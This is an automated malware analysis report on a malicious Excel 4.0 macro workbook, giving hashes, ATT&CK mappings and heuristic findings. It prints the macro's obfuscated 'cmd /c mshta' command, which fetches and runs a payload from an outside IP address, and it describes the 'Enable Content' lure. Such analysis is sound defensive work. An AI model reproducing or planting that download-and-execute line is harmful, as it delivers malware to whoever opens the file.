Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 5468689bded8f2b8…

MALICIOUS

Office (OLE) / .XLSX

64.8 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 47e709b4eda8f15c7f3161966faefb9e SHA-1: d4139cf9e600ec1814c1eb39d777f52889277b1d SHA-256: 5468689bded8f2b88fbde520c77e424752e98f575ab9c90c8a292d17a313b060
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample contains an Excel 4.0 macro with an Auto_Open entry, designed to execute automatically when the document is opened after macros are enabled. The macro attempts to download a payload from the reconstructed URL "http://87.251.86.178/pp/aa.html" using the command "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html". The document body explicitly instructs the user to "Enable Editing" and "Enable Content", confirming the social engineering lure.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes